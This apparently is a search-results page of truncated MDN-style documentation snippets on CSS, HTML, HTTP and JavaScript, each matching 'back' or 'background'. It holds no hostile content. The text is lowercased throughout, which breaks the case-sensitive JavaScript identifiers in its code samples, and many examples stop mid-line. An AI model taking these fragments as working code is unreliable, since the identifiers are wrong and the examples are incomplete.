background-color: magenta; color: yellow; border: 1px solid orange; } } .ease { animation-timing-function: ease; } .easein { animation-timing-function: ease-in; } .easeout { animation-timing-function: ease-out; } .easeinout { animation-t...
...one">jump-none</div> <div class="start">start</div> <div class="end">end</div> <div class="step-start">step-start</div> <div class="step-end">step-end</div> </div> .parent > div[class] { animation-name: changeme; animation-duration: 10s; animation-iteration-count: infinite; margin-bottom: 4px; } @keyframes changeme { 0% { min-width: 12em; width: 12em;
background-color: black; border: 1px solid red; color: white; } 100% { width: 90vw; min-width: 24em;
background-color: magenta; color: yellow; border: 1px solid orange; } } .jump-start { animation-timing-function: steps(5, jump-start); } .jump-end { animation-timing-function: steps(5, jump-end); } .jump-none { animation-timing-function: st...
border-image-slice - CSS: Cascading Style Sheets
it is discarded by default, but is used like a
background image if the keyword fill is set.
... fill preserves the middle image region and displays it like a
background image, but stacked above the actual
background.
...nput', () => { const newvalue = widthslider.value + 'px'; divelem.style.borderwidth = newvalue; widthoutput.textcontent = newvalue; }) sliceslider.addeventlistener('input', () => { const newvalue = sliceslider.value; divelem.style.borderimageslice = newvalue; sliceoutput.textcontent = newvalue; }) result specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-image-slice' in that specification.
border-image - CSS: Cascading Style Sheets
to center the border image on the edge of the element's
background, we will make the outset values equal to half of the width values.
... #bitmap { width: 200px;
background-color: #ffa; border: 36px solid orange; margin: 30px; padding: 10px; border-image: url("https://udn.realityripple.com/samples/2c/fa0192d18e.png") /* source */ 27 / /* slice */ 36px 28px 18px 8px / /* width */ 18px 14px 9px 4px /* outset */ round; /* repeat */ } result gradient html <div id="gradient">this element is surrounded by a gradient-based border image!</div> css #gradient { width: 200px; border: 30px solid; border-image: repeating-linear-gradient(45deg, #f33, #3bf, #f33 30px) 60; padding: 20px; } result specifications specific...
...ation status comment css
backgrounds and borders module level 3the definition of 'border-image' in that specification.
border-radius - CSS: Cascading Style Sheets
the radius applies to the whole
background, even if the element has no border; the exact position of the clipping is defined by the
background-clip property.
...ottom-right-radius: a length, percentage or calc();border-bottom-left-radius: a length, percentage or calc(); formal syntax <length-percentage>{1,4} [ / <length-percentage>{1,4} ]?where <length-percentage> = <length> | <percentage> examples border: solid 10px; /* the border will curve into a 'd' */ border-radius: 10px 40px 40px 10px; border: groove 1em red; border-radius: 2em;
background: gold; border: ridge gold; border-radius: 13em/3em; border: none; border-radius: 40px 10px; border: none; border-radius: 50%; border: dotted; border-width: 10px 4px; border-radius: 10px 40px; border: dashed; border-width: 2px 4px; border-radius: 40px; live samples sample 1 : http://jsfiddle.net/tripad/qngkj/2/ sample 2 : http://jsfiddle.net/tripad/qngkj...
.../3/ sample 3 : http://jsfiddle.net/tripad/qngkj/4/ sample 4 : http://jsfiddle.net/tripad/qngkj/5/ sample 5 : http://jsfiddle.net/tripad/qngkj/6/ specifications specification status comment css
backgrounds and borders module level 3the definition of 'border-radius' in that specification.
box-shadow - CSS: Cascading Style Sheets
inset shadows are drawn inside the border (even transparent ones), above the
background, but below content.
...the shadows are drawn
back to front, so the first shadow sits on top of subsequent shadows.
... html <div><p>hello world</p></div> css p { box-shadow: 0 0 0 2em #f4aab9, 0 0 0 4em #66ccff; margin: 4em; padding:1em; } result specifications specification status comment css
backgrounds and borders module level 3the definition of 'box-shadow' in that specification.
clear - CSS: Cascading Style Sheets
suspendisse eget dolor.</p> <p class="red">lorem ipsum dolor sit amet, consectetuer adipiscing elit.</p> <p class="left">this paragraph clears left.</p> </div> css .wrapper{ border:1px solid black; padding:10px; } .left { border: 1px solid black; clear: left; } .black { float: left; margin: 0;
background-color: black; color: #fff; width: 20%; } .red { float: left; margin: 0;
background-color: pink; width:20%; } p { width: 50%; } clear: right html <div class="wrapper"> <p class="black">lorem ipsum dolor sit amet, consectetuer adipiscing elit.
...suspendisse eget dolor.</p> <p class="red">lorem ipsum dolor sit amet, consectetuer adipiscing elit.</p> <p class="right">this paragraph clears right.</p> </div> css .wrapper{ border:1px solid black; padding:10px; } .right { border: 1px solid black; clear: right; } .black { float: right; margin: 0;
background-color: black; color: #fff; width:20%; } .red { float: right; margin: 0;
background-color: pink; width:20%; } p { width: 50%; } clear: both html <div class="wrapper"> <p class="black">lorem ipsum dolor sit amet, consectetuer adipiscing elit.
...suspendisse eget dolor.</p> <p class="both">this paragraph clears both.</p> </div> css .wrapper{ border:1px solid black; padding:10px; } .both { border: 1px solid black; clear: both; } .black { float: left; margin: 0;
background-color: black; color: #fff; width:20%; } .red { float: right; margin: 0;
background-color: pink; width:20%; } p { width: 45%; } specifications specification status comment css logical properties and values level 1the definition of 'float and clear' in that specification.
cross-fade() - CSS: Cascading Style Sheets
accessibility concerns browsers do not provide any special information on
background images to assistive technology.
...when using
background images, make sure the contrast in color is great enough that any text is legible over the image as well as if the images is missing.
...age> = <length> | <percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples older syntax for cross-fade html <div class="crossfade"></div> css .crossfade { width: 300px; height: 300px;
background-image: -webkit-cross-fade( url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'), 75%);
background-image: cross-fade( url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'), 75%); } result specifications specification ...
display - CSS: Cascading Style Sheets
t in normal flow flow layout and overflow flow layout and writing modes formatting contexts explained in flow and out of flow display: flex basic concepts of flexbox aligning items in a flex container controlling ratios of flex items along the main axis cross-browser flexbox mixins mastering wrapping of flex items ordering flex items relationship of flexbox to other layout methods
backwards compatibility of flexbox typical use cases of flexbox display: grid basic concepts of grid layout relationship to other layout methods line-based placement grid template areas layout using named grid lines auto-placement in grid layout box alignment in grid layout grids, logical values and writing modes css grid layout and accessibility css grid layout and progressive enhancem...
... we've included padding and
background-color on the containers and their children, so that it is easier to see the effect the display values are having.
... <option>inline</option> <option>inline-block</option> <option>none</option> <option>flex</option> <option>inline-flex</option> <option>grid</option> <option>inline-grid</option> <option>table</option> <option>list-item</option> </select> </div> css html { font-family: helvetica, arial, sans-serif; letter-spacing: 1px; padding-top: 10px; } article {
background-color: red; } article span {
background-color: black; color: white; margin: 1px; } article, span { padding: 10px; border-radius: 7px; } article, div { margin: 20px; } javascript const articles = document.queryselectorall('.container'); const select = document.queryselector('select'); function updatedisplay() { articles.foreach((article) => { article.style.display = s...
empty-cells - CSS: Cascading Style Sheets
the empty-cells css property sets whether borders and
backgrounds appear around <table> cells that have no visible content.
... values show borders and
backgrounds are drawn like in normal cells.
... hide no borders or
backgrounds are drawn.
env() - CSS: Cascading Style Sheets
syntax /* using the four safe area inset values with no fall
back values */ env(safe-area-inset-top); env(safe-area-inset-right); env(safe-area-inset-bottom); env(safe-area-inset-left); /* using them with fall
back values */ env(safe-area-inset-top, 20px); env(safe-area-inset-right, 1em); env(safe-area-inset-bottom, 0.5vh); env(safe-area-inset-left, 1.4rem); values safe-area-inset-top, safe-area-inset-right, safe-area-inset-bottom, safe-area-inset-left th...
...) examples the below example makes use of the optional second parameter of env(), which allows you to provide a fall
back value in case the environment variable is not available.
...l rectangular user agents */ padding: env(safe-area-inset-bottom, 50px); /* 50px because ua properties are case sensitive */ padding: env(x, 50px 20px); /* as if padding: '50px 20px' were set because x is not a valid environment variable */ padding: env(x, 50px, 20px); /* ignored because '50px, 20px' is not a valid padding value and x is not a valid environment variable */ the syntax of the fall
back, like that of custom properties, allows commas.
font-smooth - CSS: Cascading Style Sheets
switching from subpixel rendering to antialiasing for light text on dark
backgrounds makes it look lighter.
...switching from subpixel rendering to antialiasing for light text on dark
backgrounds makes it look lighter.
... for those of you not on a macos system, here is a screenshot (the live version appears later on): html <p>without font smoothing</p> <p class="smoothed">with font smoothing</p> css html {
background-color: black; color: white; font-size: 3rem; } p { text-align: center; } .smoothed { -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } result specifications not part of any standard.
linear-gradient() - CSS: Cascading Style Sheets
for this reason, linear-gradient() won't work on
background-color and other properties that use the <color> data type.
... examples gradient at a 45-degree angle body { width: 100vw; height: 100vh; } body {
background: linear-gradient(45deg, red, blue); } gradient that starts at 60% of the gradient line body { width: 100vw; height: 100vh; } body {
background: linear-gradient(135deg, orange 60%, cyan); } gradient with multi-position color stops this example uses multi-position color stops, with adjacent colors having the same color stop value, creating a striped effect.
... body { width: 100vw; height: 100vh; } body {
background: linear-gradient(to right, red 20%, orange 20% 40%, yellow 40% 60%, green 60% 80%, blue 80%); } more linear-gradient examples please see using css gradients for more examples.
outline-color - CSS: Cascading Style Sheets
invert to ensure the outline is visible, performs a color inversion of the
background.
...if the color of the outline is adjusted, it is important to ensure that the contrast ratio between it and the
background the outline is placed over is high enough that people experiencing low vision conditions will be able to perceive it.
... color contrast ratio is determined by comparing the luminosity of the text and
background color values.
place-items - CSS: Cascading Style Sheets
the fall
back alignment for first baseline is start, the one for last baseline is end.
... examples placing items in a flex container div > div { box-sizing: border-box; border: 2px solid #8c8c8c; width: 50px; display: flex; align-items: center; justify-content: center; } #item1 {
background-color: #8cffa0; min-height: 30px; } #item2 {
background-color: #a0c8ff; min-height: 50px; } #item3 {
background-color: #ffa08c; min-height: 40px; } #item4 {
background-color: #ffff8c; min-height: 60px; } #item5 {
background-color: #ff8cff; min-height: 70px; } #item6 {
background-color: #8cffff; min-height: 50px; font-size: 30px; } select { font-size: 16px; } ...
...ainer = document.getelementbyid('container'); values.addeventlistener('change', function (evt) { container.style.placeitems = evt.target.value; }); display.addeventlistener('change', function (evt) { container.classname = evt.target.value; }); css #container { height:200px; width: 240px; place-items: center; /* you can change this value by selecting another option in the list */
background-color: #8c8c8c; } .flex { display: flex; flex-wrap: wrap; } .grid { display: grid; grid-template-columns: repeat(auto-fill, 50px); } result specifications specification status comment css box alignment module level 3the definition of 'place-items' in that specification.
radial-gradient() - CSS: Cascading Style Sheets
syntax /* a gradient at the center of its container, starting red, changing to blue, and finishing green */ radial-gradient(circle at center, red 0, blue, green 100%) values <position> the position of the gradient, interpreted in the same way as
background-position or transform-origin.
...for this reason, radial-gradient() won't work on
background-color and other properties that use the <color> data type.
... examples simple gradient <div class="radial-gradient"></div> .radial-gradient { width: 240px; height: 120px; } .radial-gradient {
background-image: radial-gradient(cyan 0%, transparent 20%, salmon 40%); } non-centered gradient <div class="radial-gradient"></div> .radial-gradient { width: 240px; height: 120px; } .radial-gradient {
background-image: radial-gradient(farthest-corner at 40px 40px, #f35 0%, #43e 100%); } more radial-gradient examples please see using css gradients for more examples.
repeating-linear-gradient() - CSS: Cascading Style Sheets
for this reason, repeating-linear-gradient() won't work on
background-color and other properties that use the <color> data type.
...this gradient doesn't repeat because the last color stop defaults to 100% */ repeating-linear-gradient(0deg, blue, green 40%, red); /* a gradient repeating five times, going from the left to right, starting red, turning green, and
back to red */ repeating-linear-gradient(to right, red 0%, green 10%, red 20%); values <side-or-corner> the position of the gradient line's starting point.
... and <color-stop-length> = [ <percentage> | <length> ]{1,2} and <color-hint> = [ <percentage> | <length> ] examples zebra stripes body { width: 100vw; height: 100vh; } body {
background-image: repeating-linear-gradient(-45deg, transparent, transparent 20px, black 20px, black 40px); /* with multiple color stop lengths */
background-image: repeating-linear-gradient(-45deg, transparent 0 20px, black 20px 40px); } ten repeating horizontal bars body { width: 100vw; height: 100vh; } body {
background-image: repeating-linear-g...
repeating-radial-gradient() - CSS: Cascading Style Sheets
for this reason, repeating-radial-gradient() won't work on
background-color and other properties that use the <color> data type.
... syntax /* a gradient at the center of its container, starting red, changing to blue, and finishing green, with the colors repeating every 30px */ repeating-radial-gradient(circle at center, red 0, blue, green 30px); /* an elliptical gradient near the top left of its container, starting red, changing to green and
back again, repeating five times between the center and the bottom right corner, and only once between the center and the top left corner */ repeating-radial-gradient(farthest-corner at 20% 20%, red 0, green, red 20%); values <position> the position of the gradient, interpreted in the same way as
background-position or transform-origin.
... and <color-stop-length> = [ <percentage> | <length> ]{1,2} and <color-hint> = [ <percentage> | <length> ] examples black and white gradient <div class="radial-gradient"></div> .radial-gradient { width: 120px; height: 120px; } .radial-gradient {
background: repeating-radial-gradient(black, black 5px, white 5px, white 10px); } farthest-corner <div class="radial-gradient"></div> .radial-gradient { width: 240px; height: 120px; } .radial-gradient {
background: repeating-radial-gradient(ellipse farthest-corner at 20% 20%, red, black 5%, blue 5%, green 10%);
background: repeating-radial-gradient(ellipse farthest-corner at 20...
revert - CSS: Cascading Style Sheets
this removes from the cascade all of the styles that have been overridden until the style being rolled
back to is reached.
... if used by a site's own styles (the author origin), revert rolls
back the property's cascaded value to the user's custom style, if one exists; otherwise, it rolls the style
back to the user agent's default style.
... if used in a user's custom stylesheet, or if the style was applied by the user (the user origin), revert rolls
back the cascaded value to the user agent's default style.
shape-outside - CSS: Cascading Style Sheets
the shape includes any curvature created by the border-radius property (behavior which is similar to
background-clip).
...if this results in network errors such that there is no valid fall
back image, the effect is as if the value none had been specified.
... </p> </div> css .main { width: 530px; } .left, .right { width: 40%; height: 12ex;
background-color: lightgray; } .left { -webkit-shape-outside: polygon(0 0, 100% 100%, 0 100%); shape-outside: polygon(0 0, 100% 100%, 0 100%); float: left; -webkit-clip-path: polygon(0 0, 100% 100%, 0 100%); clip-path: polygon(0 0, 100% 100%, 0 100%); } .right { -webkit-shape-outside: polygon(100% 0, 100% 100%, 0 100%); shape-outside: polygon(100% 0, 100% 100%, 0 100%); float: right;...
matrix3d() - CSS: Cascading Style Sheets
html <section id="example-element" tabindex="0"> <div class="face front">1</div> <div class="face
back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </section> css #example-element { width: 100px; height: 100px; transform-style: preserve-3d; transition: transform 1.5s; transform: rotate3d(1, 1, 1, 30deg); margin: 50px auto; } #example-element:hover, #example-element:focus { transform:...
... rotate3d(1, 1, 1, 30deg) matrix3d(1,0,0,0,0,1,6,0,0,0,1,0,50,100,0,1.1); } .face { display: flex; align-items: center; justify-content: center; width: 100%; height: 100%; position: absolute;
backface-visibility: inherit; font-size: 60px; color: #fff; } .front {
background: rgba(90,90,90,.7); transform: translatez(50px); } .
back {
background: rgba(0,210,0,.7); transform: rotatey(180deg) translatez(50px); } .right {
background: rgba(210,0,0,.7); transform: rotatey(90deg) translatez(50px); } .left {
background: rgba(0,0,210,.7); transform: rotatey(-90deg) translatez(50px); } .top {
background: rgba(210,210,0,.7); transform: rotatex(90deg) translatez(50px); } .bottom {
background: rgba(210,0,210,.7); transform: rotatex(-90deg) translatez(50...
...</div> css html { width: 100%; } body { height: 100vh; /* centering content */ display: flex; flex-flow: row wrap; justify-content: center; align-content: center; } .foo { width: 50%; padding: 1em; color: white;
background: #ff8c66; border: 2px dashed black; text-align: center; font-family: system-ui, sans-serif; font-size: 14px; /* setting up animation for better demonstration */ animation: motionscale 2s alternate linear infinite; } @keyframes motionscale { from { /* identity matrix is used as basis here.
transition-timing-function - CSS: Cascading Style Sheets
ease equal to cubic-bezier(0.25, 0.1, 0.25, 1.0), the default value, increases in velocity towards the middle of the transition, slowing
back down at the end.
...d examples cubic-bezier examples <div class="parent"> <div class="ease">ease</div> <div class="easein">ease-in</div> <div class="easeout">ease-out</div> <div class="easeinout">ease-in-out</div> <div class="linear">linear</div> <div class="cb">cubic-bezier(0.2,-2,0.8,2)</div> </div> .parent {} .parent > div[class] { width: 12em; min-width: 12em; margin-bottom: 4px;
background-color: black; border: 1px solid red; color: white; transition-property: all; transition-duration: 7s; } .parent > div.box1{ width: 90vw; min-width: 24em;
background-color: magenta; color: yellow; border: 1px solid orange; transition-property: all; transition-duration: 2s; } function updatetransition() { var els = document.queryselectorall(".pa...
...2); } step examples <div class="parent"> <div class="jump-start">jump-start</div> <div class="jump-end">jump-end</div> <div class="jump-both">jump-both</div> <div class="jump-none">jump-none</div> <div class="step-start">step-start</div> <div class="step-end">step-end</div> </div> .parent {} .parent > div[class] { width: 12em; min-width: 12em; margin-bottom: 4px;
background-color: black; border: 1px solid red; color: white; transition-property: all; transition-duration:7s; } .parent > div.box1{ width: 90vw; min-width: 24em;
background-color: magenta; color: yellow; border: 1px solid orange; transition-property: all; transition-duration:2s; } function updatetransition() { var els = document.queryselectorall(".pare...
<url> - CSS: Cascading Style Sheets
urls can be used in numerous css properties, such as
background-image, cursor, and list-style.
... if you choose to write the url without quotes, use a
backslash (\) before any parentheses, whitespace characters, single quotes (') and double quotes (") that are part of the url.
... <a_css_property>: url("http://mysite.example.com/mycursor.png") <a_css_property>: url('http://mysite.example.com/mycursor.png') <a_css_property>: url(http://mysite.example.com/mycursor.png) examples .topbanner {
background: url("topbanner.png") #00d no-repeat fixed; } ul { list-style: square url(http://www.example.com/redball.png); } specifications specification status comment css values and units module level 4the definition of '<url>' in that specification.
Challenge solutions - Developer guides
solution the following values are reasonable approximations of the named colors: strong { color: #f00; /* red */
background-color: #ddf; /* pale blue */ font: 200% serif; } .carrot { color: #fa0; /* orange */ } .spinach { color: #080; /* dark green */ } p { color: #00f; /* blue */ } content add an image challenge add a one rule to your stylesheet so that it displays the image at the start of each line.
... solution the following rule achieves the desired result: h1:hover { color: blue; } javascript move box to the right challenge change the script so that the square jumps to the right by 20 em when its color changes, and jumps
back afterwards.
...the following script achieves the desired result: // javascript demonstration function dodemo (button) { var square = document.getelementbyid("square"); square.style.
backgroundcolor = "#fa4"; square.style.marginleft = "20em"; button.setattribute("disabled", "true"); settimeout(cleardemo, 2000, button); } function cleardemo (button) { var square = document.getelementbyid("square"); square.style.
backgroundcolor = "transparent"; square.style.marginleft = "0em"; button.removeattribute("disabled"); } svg and css change color of inner petals challenge change the stylesheet so that the inner petals all turn pink when the mouse pointer is over any one of them, wit...
Mouse gesture events - Developer guides
if you only care about the end results of the pinch gesture, you can simply watch for this event; however, if you want to provide feed
back during the handling of the gesture, you should also watch the mozmagnifygesturestart and mozmagnifygestureupdate events.
...firefox uses this gesture to move
backward and forward through the tabs in the current window.
...if you only care about the end results of the rotate gesture, you can simply watch for this event; however, if you want to provide feed
back during the handling of the gesture, you should also watch the mozrotategesturestart and mozrotategestureupdate events.
Mobile Web Development - Developer guides
for browsers that don't support these features, provide an acceptable fall
back.
... for example, if you set a gradient as a
background for some text using a vendor-prefixed property like -webkit-linear-gradient, it's best to include the other vendor-prefixed versions of the linear-gradient() property.
... if you don't do that, at least make sure that the default
background contrasts with the text: that way, the page will at least be usable in a browser which is not targeted by your linear-gradient rule.
<input type="hidden"> - HTML: Hypertext Markup Language
<input id="prodid" name="prodid" type="hidden" value="xm234jq"> value a domstring representing the value of the hidden data you want to pass
back to the server.
... after editing, the user submits the form, and the updated data is sent
back to the server to be updated in the database.
...when the form is submitted in step 3, the id is automatically sent
back to the server with the record content.
<marquee>: The Marquee element (Obsolete) - HTML: Hypertext Markup Language
bgcolor sets the
background color through color name or hexadecimal value.
... living standard make it obsolete in favor of css but define its expected behavior, for
backward compatibility.
... recommendation make it obsolete in favor of css but define its expected behavior, for
backward compatibility.
<source>: The Media or Image Source element - HTML: Hypertext Markup Language
when used in the context of a <picture> element, the browser will fall
back to using the image specified by the <picture> element's <img> child if it is unable to find a suitable image to use after examing every provided <source>.
...if the available width is less than the smaller of these widths, the user agent will fall
back to the image given by the <img> element.
... <picture> <source srcset="mdn-logo-wide.png" media="(min-width: 800px)"> <source srcset="mdn-logo-medium.png" media="(min-width: 600px)"> <img src="mdn-logo-narrow.png" alt="mdn web docs"> </picture> with the <picture> element, you must always include an <img> with a fall
back image, with an alt attribute to ensure accessibility (unless the image is an irrelevant
background decorative image).
<table>: The Table element - HTML: Hypertext Markup Language
bgcolor the
background color of the table.
... to achieve a similar effect, use the css
background-color property.
...> <tr> <th>countries</th> <th>capitals</th> <th>population</th> <th>language</th> </tr> <tr> <td>usa</td> <td>washington, d.c.</td> <td>309 million</td> <td>english</td> </tr> <tr> <td>sweden</td> <td>stockholm</td> <td>9 million</td> <td>swedish</td> </tr> </table> <p>table with colgroup and col</p> <table> <colgroup> <col style="
background-color: #0f0"> <col span="2"> </colgroup> <tr> <th>lime</th> <th>lemon</th> <th>orange</th> </tr> <tr> <td>green</td> <td>yellow</td> <td>orange</td> </tr> </table> <p>simple table with caption</p> <table> <caption>awesome caption</caption> <tr> <td>awesome data</td> </tr> </table> table { border-collapse: collapse; border-spacing: 0px; } t...
<textarea> - HTML: Hypertext Markup Language
the html <textarea> element represents a multi-line plain-text editing control, useful when you want to allow users to enter a sizeable amount of free-form text, for example a comment on a review or feed
back form.
...other major browsers place the insertion point at the beginning of the text.notes a default
background-image gradient is applied to all <textarea> elements, which can be disabled using
background-image: none.ie full support yesopera full support yessafari full support yeswebview android full support yeschrome andro...
...other major browsers place the insertion point at the beginning of the text.notes a default
background-image gradient is applied to all <textarea> elements, which can be disabled using
background-image: none.opera android full support yessafari ios full support yesnotes full support yesnotes notes unlike other major browsers, a default style of opacity: 0.4 ...
Link types - HTML: Hypertext Markup Language
<a>, <area>, <form> <link> ping
back defines an external resource uri to call if one wishes to make a comment or a citation about the webpage.
... the protocol used to make such a call is defined in the ping
back 1.0 specification.
... note: if the x-ping
back: http header is also present, it supersedes the <link> element with this link type.
Preloading content with rel="preload" - HTML: Hypertext Markup Language
media="(max-width: 600px)"> <link rel="preload" href="bg-image-wide.png" as="image" media="(min-width: 601px)"> <link rel="stylesheet" href="main.css"> </head> <body> <header> <h1>my site</h1> </header> <script> var mediaquerylist = window.matchmedia("(max-width: 600px)"); var header = document.queryselector('header'); if (mediaquerylist.matches) { header.style.
backgroundimage = 'url(bg-image-narrow.png)'; } else { header.style.
backgroundimage = 'url(bg-image-wide.png)'; } </script> </body> we include media attributes on our <link> elements so that a narrow image is preloaded if the user has a narrow viewport, and a wider image is loaded if they have a wide viewport.
... <link rel="prerender"> renders a specified webpage in the
background, speeding up its load if the user navigates to it.
... <link rel="subresource"> was supported in chrome a while ago, and was intended to tackle the same issue as preload, but it had a problem: there was no way to work out a priority for the items (as didn't exist
back then), so they all got fetched with fairly low priority.
Evolution of HTTP - HTTP
there were no status or error codes: in case of a problem, a specific html file was send
back with the description of the problem contained in it, for human consumption.
...illa.org/docs/glossary/simple_header 200 ok connection: keep-alive content-encoding: gzip content-type: text/html; charset=utf-8 date: wed, 20 jul 2016 10:55:30 gmt etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a" keep-alive: timeout=5, max=1000 last-modified: tue, 19 jul 2016 00:59:33 gmt server: apache transfer-encoding: chunked vary: cookie, accept-encoding (content) get /static/img/header-
background.png http/1.1 host: developer.cdn.mozilla.net user-agent: mozilla/5.0 (macintosh; intel mac os x 10.9; rv:50.0) gecko/20100101 firefox/50.0 accept: */* accept-language: en-us,en;q=0.5 accept-encoding: gzip, deflate, br referer: https://developer.mozilla.org/docs/glossary/simple_header 200 ok age: 9578461 cache-control: public, max-age=315360000 connection: keep-alive content-length: 3077 co...
...the draw
back of the rest model resides in the fact that each website defines its own non-standard restful api and has total control on it; unlike the *dav extensions were clients and servers are interoperable.
Cross-Origin Resource Sharing (CORS) - HTTP
http/1.1 200 ok date: mon, 01 dec 2008 00:23:53 gmt server: apache/2 access-control-allow-origin: * keep-alive: timeout=2, max=100 connection: keep-alive transfer-encoding: chunked content-type: application/xml […xml data…] in response, the server sends
back an access-control-allow-origin header.
... lines 13 - 22 above are the response that the server sends
back indicating that the request method (post) and request headers (x-pingother) are acceptable.
... the http response headers this section lists the http response headers that servers send
back for access control requests as defined by the cross-origin resource sharing specification.
CSP: script-src-attr - HTTP
csp version 3 directive type fetch directive default-src fall
back yes.
... if this directive is absent, the user agent will look for the script-src directive, and if both of them are absent, fall
back to default-src directive.
... examples fall
back to script-src if script-src-attr is absent, user agent falls
back to the script-src directive, and if that is absent as well, to default-src.
CSP: script-src-elem - HTTP
csp version 3 directive type fetch directive default-src fall
back yes.
... if this directive is absent, the user agent will look for the script-src directive, and if both of them are absent, fall
back to default-src directive.
... examples fall
back to script-src if script-src-elem is absent, user agent falls
back to the script-src directive, and if that is absent as well, to default-src.
Link prefetching FAQ - HTTP
what if i'm downloading something in the
background?
...if you are downloading something using mozilla, link prefetching will be delayed until any
background downloads complete.
...(for example, if you google amazon, the google results page will prefetch www.amazon.com, causing amazon cookies to be sent
back and forth.
HTTP Messages - HTTP
for example, get indicates that a resource should be fetched or post means that data is pushed to the server (creating or modifying a resource, or generating a temporary document to send
back).
... post / http/1.1 get /
background.png http/1.0 head /test.html?query=alibaba http/1.1 options /anypage.html http/1.0 a complete url, known as the absolute form, is mostly used with get when connected to a proxy.
... http/2 frames http/1.x messages have a few draw
backs for performance: headers, unlike bodies, are uncompressed.
CSS Houdini
li {
background-image: paint(mycomponent, stroke, 10px); --highlights: blue; --lowlights: green; } note: with great power comes great responsibility!
... css properties and values api reference css properties and values api guide css typed om converting cssom value strings into meaningfully typed javascript representations and
back can incur a significant performance overhead.
... css painting api developed to improve the extensibility of css — allows developers to write javascript functions that can draw directly into an element's
background, border, or content via the paint() css function.
Character classes - JavaScript
[\b] matches a
backspace.
...by placing a
backslash in front of "b", that is by using /\b/, the character becomes special to mean match a word boundary.
...to match * literally, precede it with a
backslash; for example, /a\*/ matches "a*".
Groups and ranges - JavaScript
a
back reference to the last substring matching the n parenthetical in the regular expression (counting left parentheses).
... \k<name> a
back reference to the last substring matching the named capture group specified by <name>.
... \k is used literally here to indicate the beginning of a
back reference to a named capture group.
SyntaxError: unterminated string literal - JavaScript
examples multiple lines you can't split a string across multiple lines like this in javascript: var longstring = 'this is a very long string which needs to wrap across multiple lines because otherwise my code is unreadable.'; // syntaxerror: unterminated string literal instead, use the + operator, a
backslash, or template literals.
... the + operator variant looks like this: var longstring = 'this is a very long string which needs ' + 'to wrap across multiple lines because ' + 'otherwise my code is unreadable.'; or you can use the
backslash character ("\") at the end of each line to indicate that the string will continue on the next line.
... make sure there is no space or any other character after the
backslash (except for a line break), or as an indent; otherwise it will not work.
Array.prototype.lastIndexOf() - JavaScript
the array is searched
backwards, starting at fromindex.
... fromindex optional the index at which to start searching
backwards.
...note that even when the index is negative, the array is still searched from
back to front.
Array.prototype.sort() - JavaScript
mozilla versions dating
back to at least 2003) respect this.
... var stringarray = ['blue', 'hump
back', 'beluga']; var numericstringarray = ['80', '9', '700']; var numberarray = [40, 1, 5, 200]; var mixednumericarray = ['80', '9', '700', 40, 1, 5, 200]; function comparenumbers(a, b) { return a - b; } console.log('stringarray:', stringarray.join()); console.log('sorted:', stringarray.sort()); console.log('numberarray:', numberarray.join()); console.log('sorted without a compare function:', nu...
... stringarray: blue,hump
back,beluga sorted: beluga,blue,hump
back numberarray: 40,1,5,200 sorted without a compare function: 1,200,40,5 sorted with comparenumbers: 1,5,40,200 numericstringarray: 80,9,700 sorted without a compare function: 700,80,9 sorted with comparenumbers: 9,80,700 mixednumericarray: 80,9,700,40,1,5,200 sorted without a compare function: 1,200,40,5,700,80,9 sorted with comparenumbers: 1,5,9,40,80,200,700...
Date.parse() - JavaScript
fall-
back to implementation-specific date formats this section contains implementation-specific behavior that can be inconsistent across implementations.
... the ecmascript specification states: if the string does not conform to the standard format the function may fall
back to any implementation–specific heuristics or implementation–specific parsing algorithm.
...the string "10 06 2014" is an example of a non-conforming iso format and thus falls
back to a custom routine.
FinalizationRegistry() constructor - JavaScript
the finalizationregistry constructor creates a finalizationregistry object that uses the given call
back.
... syntax new finalizationregistry([call
back]); parameters call
back optional the call
back function this registry should use.
... examples creating a new registry you create the registry passing in the call
back: const registry = new finalizationregistry(heldvalue => { // ....
Function.prototype.bind() - JavaScript
when using bind to create a function (supplied as a call
back) inside a settimeout, any primitive value passed as thisarg is converted to object.
... a common mistake for new javascript programmers is to extract a method from an object, then to later call that function and expect it to use the original object as its this (e.g., by using the method in call
back-based code).
...when working with class methods that require this to refer to class instances, you may explicitly bind this to the call
back function, in order to maintain the instance.
Intl.Collator.supportedLocalesOf() - JavaScript
the intl.collator.supportedlocalesof() method returns an array containing those of the provided locales that are supported in collation without having to fall
back to the runtime's default locale.
... return value an array of strings representing a subset of the given locale tags that are supported in collation without having to fall
back to the runtime's default locale.
...the language tags returned are those for which the runtime supports a locale in collation that the locale matching algorithm used considers a match, so that it wouldn't have to fall
back to the default locale.
Intl.DateTimeFormat.supportedLocalesOf() - JavaScript
the intl.datetimeformat.supportedlocalesof() method returns an array containing those of the provided locales that are supported in date and time formatting without having to fall
back to the runtime's default locale.
... return value an array of strings representing a subset of the given locale tags that are supported in date and time formatting without having to fall
back to the runtime's default locale.
...the language tags returned are those for which the runtime supports a locale in date and time formatting that the locale matching algorithm used considers a match, so that it wouldn't have to fall
back to the default locale.
Intl.DateTimeFormat - JavaScript
static methods intl.datetimeformat.supportedlocalesof() returns an array containing those of the provided locales that are supported without having to fall
back to the runtime's default locale.
...in order to get the format of the language used in the user interface of your application, make sure to specify that language (and possibly some fall
back languages) using the locales argument: var date = new date(date.utc(2012, 11, 20, 3, 0, 0)); // results below use the time zone of america/los_angeles (utc-0800, pacific standard time) // us english uses month-day-year order console.log(new intl.datetimeformat('en-us').format(date)); // → "12/19/2012" // british english uses day-month-year order console.log(new intl.datetimeformat('en-gb').
...ts console.log(new intl.datetimeformat('ar-eg').format(date)); // → "١٩/١٢/٢٠١٢" // for japanese, applications may want to use the japanese calendar, // where 2012 was the year 24 of the heisei era console.log(new intl.datetimeformat('ja-jp-u-ca-japanese').format(date)); // → "24/12/19" // when requesting a language that may not be supported, such as // balinese, include a fall
